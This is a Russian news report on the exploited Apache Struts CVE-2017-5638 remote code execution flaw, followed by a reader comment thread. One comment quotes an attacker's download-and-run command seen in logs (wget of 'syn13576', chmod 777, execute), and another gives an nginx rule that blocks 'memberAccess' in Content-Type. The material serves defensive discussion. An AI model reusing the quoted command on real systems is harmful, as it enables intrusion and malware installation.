Опубликовано (http://struts.apache.org/announce.html#a20170307) экстренное обновление web-фреймворка Apache Struts (2.3.32 и 2.5.10.1), применяемого для создания web-приложений на языке Java с использованием парадигмы Model-View-Controller. В новых выпусках устранена критическая 0-day уязвимость (https://cwiki.apache.org/confluence/display/WW/S2-045) (CVE-2017-5638 (https://security-tracker.debian.org/tracker/CVE-2017-5638)), которая уже несколько дней используется (http://blog.talosintelligence.com/2017/03/apache-0-day-explo...) злоумышленниками для получения контроля за сайтами, работающими под управлением Apache Struts.
Уязвимость позволяет выполнить произвольный код на сервере, отправив запрос со специально оформленным содержимым HTTP-заголовка "Content-Type". Проблема проявляется в выпусках Struts с 2.3.5 по 2.3.31 и с 2.5.0 по 2.5.10, и вызвана ошибкой в коде Multipart parser, применяемом для разбора запросов, состоящих из нескольких частей (multipart/form-data). В случае, если заголовок Content-Type содержит некорректное значение, срабатывает исключение для отображения сообщения об ошибке, которое, если в тексте присутствует маска "multipart/form-data", также приводит к вызову обработчика Multipart parser и выполнению произвольного кода.
Так как в открытом доступе опубликован готовый эксплоит (https://github.com/rapid7/metasploit-framework/issues/8064) и в сети уже зафиксирована автоматизированная вредоносная активность, эксплуатирующая данную уязвимость, всем пользователям Apache Struts рекомендуется в экстренном порядке выполнить обновление или блокировать работу компонента Jakarta Multipart parser. Обновления пакетов с libstruts уже выпущено для Debian (https://security-tracker.debian.org/tracker/CVE-2017-5638). В Ubuntu проблема остаётся неисправленной. В штатных репозиториях RHEL/Cent OS пакет Apache Struts не поставляется.В случае если web-приложение выполняется в контейнере Apache Tomcat, выполняемом (https://wiki.apache.org/tomcat/HowTo#How_to_run_Tomcat_witho...) с правами root, в результате атаки сразу может быть получен root-доступ к системе. Например, фиксируемые в логах попытки атак выполняют отключение пакетного фильтра и устанавливают бэкдор для удалённого управления системой или типовое вредоносное ПО:
URL: http://blog.talosintelligence.com/2017/03/apache-0-day-explo...
Новость: http://www.opennet.dev/opennews/art.shtml?num=46167
Стратс уже сто лет в полусдохшем состоянии и никому не нужен.
Никому, кроме всех тех, кому он нужен.
С учётом того, что сайты на Java+Struts очень любят делать банки и госучреждения (умолчим про gosuslugi.ru) последствия этой дыры могут быть даже серьёзнее, чем кажется.
Если госуслуги на струтсе сделаны и можно было тихой сапой слить базу ПФР+ИНН+ФИО+ДР+все объекты налогообложения _в масштабах страны_, я категорически не понимаю кульхацкеров, которые слили возможность и запалили такую дыру на то, чтобы овнить какую-то никому ненужную шелупонь.Про банки молчу, там ещё легче монетизировать дырку.
Если у вас томкат за нжинксом, можете быстро сделать:if ($http_content_type ~ memberAccess) {
return 403;
}
что за блин нжинкс, энжин-экс (engine x)
x - икс так оно читается на русском
x - экс так оно читается на английском
Так что пофигу
Интересно, успел ли кто эту беду сбэкпортировать в EOL'нутый 1.3.10, который по всем https://pkgs.org/download/struts ...
Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами линуксов, но не FreeBSD.
> Судя по командам, эксплуатируемым эксплоитами, все они предназначены для управления дистрибутивами
> линуксов, но не FreeBSD.Что лишний раз подтверждает большую распространённость FreeBSD на серверах.
> Что лишний раз подтверждает большую распространённость FreeBSD на серверах.Вот и гордые надуватели щёчек набежали.
Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие замечательные штуки, как монтирование с nonexec?
https://www.freebsd.org/cgi/man.cgi?mount(8)
Так что
cd /tmp; wget .../syn13576;chmod 777 syn13576;./syn13576
можно делать хоть до посинения.
А еще, для апачей и прочих дыроколов есть такая вещь, как клетки. Это типа контейнера, только без той кучи дыр и оговорок, что "контейнеры вообще-то не для безопасности!".
Так что обтек… завидуйте молча.
В клетках практически всё под ro, а для нужд ПО рабочую директорию под nonexec,nosymfollow и тд, не говоря уже об урезанном мире самой клетки.
А в линуксе конечно же не монтирования с noexec. Пиши есчо, непафосный ты наш.
> А в линуксе конечно же не монтирования с noexec.Судя по эксплойту, нет. Или как с тем же grsecurity, все есть, но никто не пользуется.
VNET уже перестал ядро ронять, м? Или всё по старинке - на алиасах костыляете?
> VNET уже перестал ядро ронять, м?Если отвлечся от откровенного спрыгивания с темы, все равно остается вопрос:
и как там, в криокамере?Кстати, вы бы поинтересовались, что такое VNET. А то "ядерная фича могла уронить ядро, фи!" звучит несколько фанатично. Микроядра только недавно обсуждались.
Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но ещё и с nodev, и ro. Здорово, правда?!
> Представляешь в моём дистрибутиве не только с noexec монтируется всё левое, но
> ещё и с nodev, и ro. Здорово, правда?!nodev? Зачем он нужен? Хотя чего это я, до лапчтатых ведь иногда как до жирафов.
ro для /tmp?
Верю!
> nodev? Зачем он нужен?Прелестно, вот такие вот "специалисты" бздю и лепят.
>> nodev? Зачем он нужен?
> Прелестно, вот такие вот "специалисты" бздю и лепят.Вот такие как вы "специалисты" не знают, но имеют ценное мнение оюо всем на свете.
> Author: rodrigc <rodrigc@FreeBSD.org>
> Date: Tue Nov 29 19:13:28 2005 +0000
> Document removal of nodev mount option.
> Requested by: glebНо вы держитесь. За Ядро, Линуса и Родной Дистрибутив и все такое (иначе не объяснить, почему некоторые при отсутсвии представления о чем-то, упорно лезут это что-то критиковать).
Ну то есть зачем нужен nodev вы по прежнему не знаете ?
> Ну то есть зачем нужен nodev вы по прежнему не знаете ?Опять по себе судите? Разрешаю посмотреть в ман.
https://linux.die.net/man/8/mount
Заодно:
http://www.google.com/search?q=зачем+нужны+запятыеПосле этого, можете попытаться объяснить, зачем на бзд нужен nodev. И что там с ro /tmp.
> монтирование с nonexec?Только не говорите мне, что такие очепятки врастают в пальцы тех, кто на самом деле применяет -o noexec.
>> монтирование с nonexec?
> Только не говорите мне, что такие очепятки врастают в пальцы тех, кто
> на самом деле применяет -o noexec.Хорошо, не скажу. Еще не скажу ничего о fstab.
Потому как, если уж кому-то хочется докопаться, то причина всегда найдется.
На опеннете, как всегда, достаточно классического «почему без шапки» -- «почему не пингвин?!»24й комментарий:
> Сообщение от Sw00p aka Jerom on 09-Мрт-17, 16:13
> а для нужд ПО рабочую директорию под nonexec,nosymfollow
>>> монтирование с nonexec?
>> Только не говорите мне, что такие очепятки врастают в пальцы тех, кто
>> на самом деле применяет -o noexec.
> Хорошо, не скажу. Еще не скажу ничего о fstab.Туда пишут или скрипты, или те, кто буковки умеет нажимать правильно.
> Потому как, если уж кому-то хочется докопаться, то причина всегда найдется.
Дружески предлагаю Вам начать с себя -- возможно, поймёте, что насмешку получили в ответ на попытку выпендриться. :)
> Может, все дело в том, что бздюки, в отличие от некоторых излишне пафосных лапчатых,
> слышали о нормальных дефолтахо нормальных они сроду не слышали - начиная от попыток автоматического сетапа в XXI веке создавать /tmp на физическом диске (или в виде zfs volume), и заканчивая ненужными для tmp softupdates, если все же заставить его создавать md, но специальным ключом вручную не озаботиться (и да, там у нас ufs, потому что попытки сделать "чистую" memory-backed fs разбились о неосиляторство - оно даже есть, но ухитряется работать хуже ufs over md)
> и у них есть такие замечательные штуки, как монтирование с nonexec?
/tmp с noexec ? Поздравляю, ты сломал плагины mc, и, вероятно, не только их.
линукс, кстати (кроме того самого mc) noexec в /tmp пережил бы, но у него есть (отдельный) /var/tmp, где вполне себе создаются и исполняются в процессе нормальной работы файлы.
Начиная от пост и пре-инсталл скриптов в rpm. А, в недоделке по имени pkg до сих пор ничего подобного ниасилено? (угадайте, куда в результате пихают то, что нужно делать один раз при установке пакета?)
> пафосных лапчатых, слышали о нормальных дефолтах и у них есть такие
> замечательные штуки, как монтирование с nonexec?Они и у лапчатых есть, о непафосный. А ты уверен что яве вообще есть какое-то дело до всего этого? Может ей достаточно лишь прав на чтение файла, она же код сама генерит а система вообще не в курсе что этот читаемый файл будет еще и исполняться потом.
Но ведь на жаве, это главное, разве нет?
Они для случаев, когда среду разворачивали как попало. Не скажу, что это редкое явление.
Оригинальный взгляд на проблему. Очень. Что помешает запустить под фрёй контейнер от рута? Есть какой специальный "дух здравого смысла"? Демон здравого смысла, если винрарно.
Сбер напрягся.
Сбер в пятницу чуть у матери 27к кому-то не перевел. Но в сбере всем как бы ложить.
У Сбера блокчейн, не трогайте его.
У кого-то в сбере блокчейн. В академических целях, не коммерческих.
У остальных в сбере низзя - а то посодють.
Java же безопасный язык, это не C! Как такое возможно?
Дыра во фреймворке, виновата Java. Логичный Вы наш!
А что, Oracle уже совсем Java от блобов избавил?
А что, новость уже не читаем?
> А что, Oracle уже совсем Java от блобов избавил?у вас сильно не актуальные сведения http://stackoverflow.com/questions/25936712/what-is-the-diff...
> А что, Oracle уже совсем Java от блобов избавил?Скорее от разработчиков...
> Дыра во фреймворке, виновата Java. Логичный Вы наш!Java - виртуальная машина. Следовательно дырка в Java, если можно исполнить код вне виртуальной машины.
ШОК!!! Обнаружена критическая уязвимость в java.lang.Runtime. Существующий в нем метод exec позволяет выполнить любой код вне виртуальной машины.https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime....-
> ШОК!!! Обнаружена критическая уязвимость в java.lang.Runtime. Существующий в нем метод
> exec позволяет выполнить любой код вне виртуальной машины.
> https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime....-Оно в отдельном потоке в java машине всё-равно выполняется.
Тогда и оригинальная уязвимость - это вовсе не уязвимость, т. к. "в отдельном потоке в java машине всё-равно выполняется".
>> Дыра во фреймворке, виновата Java. Логичный Вы наш!
> Java - виртуальная машина. Следовательно дырка в Java, если можно исполнить код
> вне виртуальной машины.Это всё С++. На нём написали JVM.
> chmod 777 2020...
> chmod 777 syn13576Никогда не мог понять сакральный смысл трех семёрок.
Вот почему не 'chmod 111', 'chmod 555' или 'chmod 7777'?
Потому что 7 это 1+2+4
Ну ты чего уж. Три семерки. А везде, по всему Союзу три семерки, понимаешь?
Сакральный смысл – в портвейне "Три семёрки", он же "Три топора".Видимо, в том, что три "7" набрать удобнее, чем, например, "755" или "700", а "555" не используют потому, что файл нередко приходится редактировать и запускать несколько раз. Вторая причина – если это сервер, который взламывают, то там нет смысла давать меньше прав для "group" и "other".
> Никогда не мог понять сакральный смысл трех семёрок.Во имя Сатаны же, ну.
иди потаскай окошки по экрану
> Никогда не мог понять сакральный смысл трех семёрок.так проще, и оно работает - в отличие от твоих поделок
> Вот почему не 'chmod 111', 'chmod 555' или 'chmod 7777'?первое ломает скритовые языки, второе мешает самому же туда записать не от рута, третье в случае скрипта вызовет весьма вероятные сообщения интерпретатора о попытке сделать суидный скрипт вместо исполнения, при том что оба осташихся бита нафиг не нужны
>В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе.Веб-приложения с правами рута? Совсем поехавшие?
>>В случае если web-приложение выполняется в контейнере Apache Tomcat, запускаемом с правами root, в результате атаки сразу может быть получен root-доступ к системе.
> Веб-приложения с правами рута? Совсем поехавшие?Ну ведь под рутом проще ))))
Не очень понимаю, что может дать возможность выполнить некий код с правами запустившего контейнер. Чаще всего контейнер запускают от пользователя, для которого и командного интерпретатора нет. Если же контейнер запускают из под root-а -- ну такое ничем не лечится.
> Не очень понимаю, что может дать возможность выполнить некий код с правами
> запустившего контейнер. Чаще всего контейнер запускают от пользователя,которого зовут root.
> командного интерпретатора нет. Если же контейнер запускают из под root-а --
> ну такое ничем не лечится.почитайте внимательно, через какую задницу предлагается запускать томкэт его разработчиками, чтобы было "не от рута". Ссылка на документацию - прямо в новости.
Не говоря уже о том, что на сервере, где работает томкэт, все ваши сенситивные данные, внезапно, доступны именно томэкту. А сам сервер по большому счету нахрен никому и не нужен.
Э, как-бы, Томкэт запустить не от рута нет никакой проблемы. Вообще. Тем более Гласфиш или ЖБосс. После этого любые подобные уловки, насколько я понимаю, не дадут ничего вообще.